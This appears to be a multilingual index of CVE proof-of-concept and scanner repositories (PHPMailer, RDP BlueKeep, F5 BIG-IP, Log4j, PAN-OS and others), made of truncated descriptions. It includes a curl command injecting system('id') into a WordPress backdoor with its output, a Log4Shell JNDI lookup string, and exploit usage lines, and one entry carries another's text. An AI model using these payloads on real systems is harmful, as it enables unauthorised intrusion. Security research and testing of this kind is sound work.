CVE-2016-10033-PoC

CVE-2016-10033-PoC Написал это для PentesterLab Если вы из PentesterLab, не списывайте, так намного лучше учиться. Надеюсь, это кому-нибудь пригодится, если не мне в будущем : Имеет интерактивную оболочку, хороший argparse и т.д. Использование root@kitploit: usage: poc.py -h --target TARGET...

CVE-2016-2098-PoC

CVE-2016-10033-PoC Написал это для PentesterLab Если вы из PentesterLab, не жульничайте, так гораздо лучше учиться. Надеюсь, это кому-нибудь пригодится, если не мне в будущем : Имеет интерактивную оболочку, хороший argparse и т.д. Использование root@kitploit: usage: script.py -h --url URL --param...

CVE-2019-0708-EXPloit-3389

CVE-2019-0708-EXPloit-3389 Удаленная служба рабочего стола RDP удаленное выполнение кода уязвимость CVE-2019-0708...

Vulnerable-Lab-Exploitation

Эксплуатация уязвимой лаборатории Практический проект, демонстрирующий настройку виртуального лабораторного стенда безопасности, разведку сетей и эксплуатацию уязвимости CVE-2012-1823. Настройка уязвимой лаборатории и эксплуатация PHP CGI CVE-2012-1823 🎯 Обзор проекта Этот проект демонстрирует...

CVE-2025-20029-simulation

🔐 Воспроизводимая симуляция атаки – CVE-2025-20029 ⚠️ Этот репозиторий воспроизводит CVE-2025-20029 в безопасной и контролируемой среде. Он не взаимодействует с реальными системами F5 BIG-IP и не эксплуатирует какие-либо производственные сервисы. Цель — образовательная: изучить паттерн уязвимости ...

CVE-2024-3400

CVE-2024-3400 描述 由于 Palo Alto Networks PAN-OS 软件中 GlobalProtect 功能的任意文件创建漏洞导致的命令注入，影响了特定 PAN-OS 版本和特定功能配置，可能允许未经身份验证的攻击者以 root 权限在防火墙上执行任意代码。 Cloud NGFW、Panorama 设备和 Prisma Access 不受此漏洞影响。 用于 Palo Alto PAN-OS 漏洞的 CVE-2024-3400 Nuclei 模板 该仓库包含一个 Nuclei 模板，旨在检测与 Palo Alto PAN-OS 漏洞相关的问题，特别是针对...

fastjson-tp1fn1

json.org CVE-2022-45688 vrai et faux positif WTF ?? Le projet contient une dépendance fastjson avec CVE-2022-25845. La vulnérabilité se produit lorsque le balisage dans JSON est interprété comme des beans Java, c'est-à-dire que des classes sont instanciées et que les propriétés sont définies en...

CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 WordPress Weblizar бэкдор curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP: неаутентифицированная RCE-уязвимость F5 BIG-IP iControl REST: обход аутентификации и RCE-уязвимость fofa keywords: title="BIG-IP- Redirect" использование атака root@kitploit: $ python3 cve-2022-1388.py -t https://203.xxx.xxx.xxx + https://203.xxx.xxx.xxx is vulnerable inp...

CVE-2017-8570

Qu'est-ce que c'est ? Ce dépôt contient une preuve de concept PoC pour CVE-2017-8570, alias la vulnérabilité « Composite Moniker ». Il démontre l'utilisation de l'astuce Packager.dll pour déposer un fichier .sct dans le répertoire %TEMP%, puis l'exécuter via la primitive fournie par la...

react2shell-audit

React2Shell 감사 CVE-2025-55182 React2Shell 감사 는 CVE-2025-55182React2Shell 및 CVE-2025-66478 에 취약한 로컬 Next.js 및 React Server DOM 설치를 탐지하도록 설계된 가볍고 재귀적인 Bash 스크립트입니다. 🚨 취약점 React2Shell 은 React Server ComponentsRSC의 심각한 원격 코드 실행RCE 취약점입니다. 인증되지 않은 공격자가 RSC "Flight" 프로토콜을 통해 서버에서 임의의 코드를 실행할 수 있습니다. 이...

CVE-2020-14882

WebLogic CVE-2020-14882 / CVE-2020-14883 Тестовый скрипт Этот проект предоставляет простой Bash-скрипт для проверки, уязвим ли сервер Oracle WebLogic к обходу аутентификации CVE-2020-14882 и связанному с ним вектору удаленного выполнения кода CVE-2020-14883. Скрипт отправляет POST-запрос к...

cve-2018-9951

Foxit Reader CPDFObject Use-After-Free 원격 코드 실행 취약점 취약점 해제된 메모리를 참조하면 프로그램이 충돌하거나, 예상치 못한 값을 사용하거나, 코드를 실행할 수 있습니다. 취약점 설명 이 취약점으로 인해 원격 공격자가 취약한 Foxit Reader 설치 환경에서 임의 코드를 실행할 수 있습니다. 이 취약점을 악용하려면 사용자 상호작용이 필요하며, 대상이 악성 페이지를 방문하거나 악성 파일을 열어야 합니다. 구체적인 결함은 CPDFObject 객체 처리 과정에 존재합니다. 문제는 객체에 대한...

cve-2018-8389

jscript.dll - ActiveXObject BSTR - Использование после освобождения Уязвимость Обращение к памяти после её освобождения может привести к сбою программы, использованию неожиданных значений или выполнению кода. Описание уязвимости Удалённое выполнение кода существует в способе обработки объектов в...

log4j2-issue-check

Оценка Log4Shell: уязвимость RCE 0-day Этот репозиторий содержит код для оценки уязвимости Log4j2 CVE-2021-44228 Подробнее https://www.lunasec.io/docs/blog/log4j-zero-day/ Как проверить Отправьте GET-запрос с параметром запроса $jndi:ldap://127.0.0.1:3089/. root@kitploit:...

CVE-2024-32002

CVE-2024-32002 RCE PoC 概述 此仓库包含 CVE-2024-32002 的概念验证（PoC），这是一个 Git 子模块中的远程代码执行（RCE）漏洞。该漏洞利用演示了如何通过递归克隆 Git 仓库来触发恶意载荷。 仓库设置 在运行 PoC 之前，请在你的远程 Git 服务器上创建以下仓库，你也可以根据需要更改名称： hulk.git submod.git smash.git 如果你更改了名称，请相应更新 PoC 脚本中的仓库路径。 漏洞利用详情 该漏洞利用通过 Git 子模块在递归克隆仓库时在目标系统上执行载荷。此 PoC 已在 macOS 上测试。 定义仓库路径...

CVE-2026-83549

Post-authentication Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability has been identified in the SMA1000 Appliance Management Console AMC which in specific conditions could potentially enable a remote authenticated attacker as administrator to...

CVE-2026-76851

A Server-Side Request Forgery SSRF vulnerability was identified in GitHub Enterprise Server that allowed remote code execution on the instance. Insufficient network isolation allowed malicious pre-receive hook code to impersonate an internal service and redirect trusted internal requests to a...

CVE-2026-19118

A time-of-check time-of-use race condition vulnerability was identified in GitHub Enterprise Server that allowed remote code execution. Exploitation required an authenticated user with write access to a repository and precise timing of concurrent upload requests. This vulnerability affected all...

CVE-2022-27925

CVE-2022-27925 설명 2022년 5월 10일, Zimbra는 Zimbra Collaboration Suite의 여러 취약점을 해결하기 위해 9.0.0 패치 24 및 8.8.15 패치 31 버전을 출시했습니다. 여기에는 CVE-2022-27924이전에 작성한 글 및 CVE-2022-27925가 포함됩니다. 처음에 Zimbra는 CVE-2022-27925를 인증된 경로 탐색 공격으로 분류했습니다. 관리 사용자가 Zimbra 계정 권한으로 파일 시스템의 모든 디렉터리에 파일을 쓸 수 있는 취약점이었습니다. 처음에는 관리자...